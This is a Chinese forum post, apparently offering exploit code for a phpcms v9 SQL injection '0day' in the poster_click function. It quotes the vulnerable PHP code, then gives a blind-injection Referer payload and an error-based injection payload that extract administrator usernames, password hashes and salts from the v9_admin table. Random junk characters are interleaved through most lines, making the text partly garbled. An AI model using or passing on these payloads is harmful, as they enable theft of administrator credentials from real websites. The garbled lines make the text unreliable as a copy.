phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
8 d2 H. D+ x% P% z  L2 G! c
! X# ]& h. h$ ]6 N( g0 ^7 Y$ g( M问题函数\phpcms\modules\poster\index.php
# o& m4 z4 U; [2 _0 d  L& M8 B) s
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
7 u! @& I0 B0 @0 ]5 ]if (!is_array($r) && empty($r)) return false;
! h" U+ c/ d7 Z3 k$ip_area = pc_base::load_sys_class('ip_area');
( z/ Y5 z- y5 a2 k: Q3 P8 j1 i$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# q3 y/ z. O) Q( R% y& a" D. [if($id) {
2 Z8 ^4 |4 t% b) I' R) q9 M$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
( W6 J9 i! h  Z% Z2 I: s% `$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
& [6 f& M3 H9 a. a: c$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
8 }$ y5 w( w, v5 e% Y: {$url = $setting['1']['linkurl'];
- O; x" P5 I. `% w} else {
: s, u* _8 y" l: q0 K' `$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}

+ k9 N4 n8 l8 Z$ F6 x3 P利用方式：
( {4 B: v1 ^) _% N4 Q0 g
( z+ j1 T) v# @& F0 f1、可以采用盲注入的手法：

* c- r9 y: t  [. Ireferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
/ ]3 i+ x+ G9 y/ j0 v2 m+ ]' x7 n
6 {0 n" _9 C$ u# X* C通过返回页面，正常与否一个个猜解密码字段。
3 b9 N  W7 }6 \$ X" S
9 j! Q) L9 O! H- x% h9 i8 S2、代码是花开写的，随手附上了：

1 n8 E9 |2 d, a6 g1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
" I% u3 k; J% ]& p8 k
% g, o% |& h) Y3 U; y此方法是爆错注入手法，原理自查。
